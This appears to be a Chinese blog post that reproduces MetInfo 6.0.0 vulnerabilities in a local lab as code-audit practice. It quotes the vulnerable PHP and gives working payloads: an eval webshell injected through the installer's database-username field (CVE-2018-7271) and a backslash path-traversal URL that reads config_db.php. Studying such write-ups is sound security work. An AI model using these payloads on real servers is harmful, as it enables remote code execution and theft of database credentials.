0%

metinfo6.0.0漏洞分析

前言

从上学期期末就开始打算代码审计,因为各种事儿的耽搁,在前段时间才把metinfo的路由搞懂,并记录了一下。今天又开始重拾metinfo,进行漏洞复现。

正文

伪全局变量

在metinfo的install/index.php中有metinfo对传入参数的封装。也就是为全局变量覆盖,大概是在文中62行

1
2
3
4
5
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value);
}
}

信息泄露

在install目录下有phpinfo.php直接访问可以知道

CVE-2018-7271(getshell in install)

这个是安装时进行数据库连接信息,没有对输入进行过滤,直接写入文件中,导致了任意代码注入,install/index.php:223

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
if($setup==1){
$db_prefix = trim($db_prefix);
if (strstr($db_host, ":")) {
$arr = explode(":", $db_host);
$db_host = $arr[0];
$db_port = $arr[1];
}else{
$db_host = trim($db_host);
$db_port = "3306";
}
$db_username = trim($db_username);
$db_pass = trim($db_pass);
$db_name = trim($db_name);
$db_port = trim($db_port);
$config="<?php
/*
con_db_host = \"$db_host\"
con_db_port = \"$db_port\"
con_db_id = \"$db_username\"
con_db_pass = \"$db_pass\"
con_db_name = \"$db_name\"
tablepre = \"$db_prefix\"
db_charset = \"utf8\";
*/
?>";

$fp=fopen("../config/config_db.php",'w+');
fputs($fp,$config);
fclose($fp);

可以看见,这里并没有对输入进行检查,形成了可以直接把马写进文件的一个漏洞

进行下一步后,我们可以去config/config_db.php文件中看看

1
2
3
4
5
6
7
8
9
10
11
<?php
/*
con_db_host = "localhost"
con_db_port = "3306"
con_db_id = "*/eval($_GET[sher])/*"
con_db_pass = "root"
con_db_name = "met600"
tablepre = "met_"
db_charset = "utf8";
*/
?>

直接访问/config/config_db.php?sher=phpinfo();

任意文件读取

漏洞代码/app/system/include/module/old_thumb.class.php:14-24

1
2
3
4
5
6
7
8
9
10
global $_M;
$dir = str_replace(array('../','./'), '', $_GET['dir']);
if(substr(str_replace($_M['url']['site'], '',$dir),0,4) == 'http' && strpos($dir, './') === false){
header("Content-type: image/jpeg");
ob_start();
readfile($dir);
ob_flush();
flush();
die;
}

这里通过对.././的过滤以及传参不能出现./来防止目录跳转,但是在window下,目录之间是用\来分隔的,我搭建的环境是在window下的,所以payload:http\..\..\config\config_db.php
漏洞绕过明确了,我们就来找传参点/include/thumb.php

1
2
3
4
5
define('M_NAME', 'include');
define('M_MODULE', 'include');
define('M_CLASS', 'old_thumb');
define('M_ACTION', 'doshow');
require_once '../app/system/entrance.php';

payload:

1
http://127.0.0.1/metinfo/MetInfo6.0.0/include/thumb.php?dir=http\..\..\config\config_db.php

这个漏洞其实经过了多次修改,多次绕过所以在这里只说最后的这个,因为我找到6.0.0的最早的版本,所以再此只说最后一次的绕过,这个漏洞也仅存在window系统的服务器下。前几个绕过就自行去修改代码,调试。
贴一个链接
https://paper.seebug.org/676/

#总结
代码审计真的很有趣,其中代码审计的有些思路运用于ctf中也很实用。我已在萌新走向菜鸟的路上了,共勉!!!